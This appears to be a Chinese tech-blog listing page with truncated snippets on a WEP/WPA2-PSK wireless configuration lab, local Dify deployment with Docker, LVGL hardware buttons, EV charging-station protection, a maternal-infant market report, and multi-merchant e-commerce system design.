实验1. WEP和WPA2-PSK实验一、实验目的验证AP和终端与实现WEP安全机制相关的参数的配置过程。验证AP和终端与实现WPA2-PSK安全机制相关的参数的配置过程。验证终端与AP之间建立关联的过程。验证关闭端口的重新开启过程。验证属于不同BSS的终端之间的数据传输过程。二、实验任务…

【从零开始学Dify】大模型应用开发平台Dify本地化部署

目录Dify一、本地化部署1、安装docker2、安装Dify&#xff08;1&#xff09;拉取代码到本地&#xff08;2&#xff09;docker部署&#xff08;3&#xff09;查看服务状态&#xff08;4&#xff09;web端部署&#xff08;5&#xff09;登录二、可能会出现的问题&#xff08;1&am…

LVGL应用和部署(和物理按键交互)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】屏幕除了显示部分&#xff0c;还要去和其他外设进行交互&#xff0c;这是非常重要的一个处理方法。我们知道&#xff0c;不管是mcu&#xff0c;还是…

限流式保护器如何筑牢无人驾驶汽车充电站的安全防线

摘要&#xff1a; 随着新能源汽车&#xff0c;尤其是无人驾驶车队的快速发展&#xff0c;充电设施的安全可靠性至关重要。交流充电桩&#xff08;俗称“慢充桩”&#xff09;作为重要的充电基础设施&#xff0c;其末端回路的安全保护需满足国家标准GB51348-2019的严格要求&…

专题:2025母婴行业洞察报告|附60+份报告PDF汇总下载

原文链接&#xff1a;https://tecdat.cn/?p42908 全球母婴市场正经历结构性增长&#xff0c;一面是欧美成熟市场的品质消费升级&#xff0c;一面是东南亚、中东等新兴市场的人口红利释放。2020至2026年&#xff0c;全球母婴市场规模将从1859亿美元增至3084亿美元&#xff0c;年…

从零搭建多商户商城系统源码:技术栈、数据库设计与接口规划详解

如今&#xff0c;多商户商城系统已成为传统零售转型与新型电商平台构建的关键利器。无论是打造像某宝、某东这样的综合型平台&#xff0c;还是服务于垂直行业的独立电商&#xff0c;一套高效、可扩展的多商户商城系统源码&#xff0c;往往决定着平台的成败。 今天&#xff0c;小…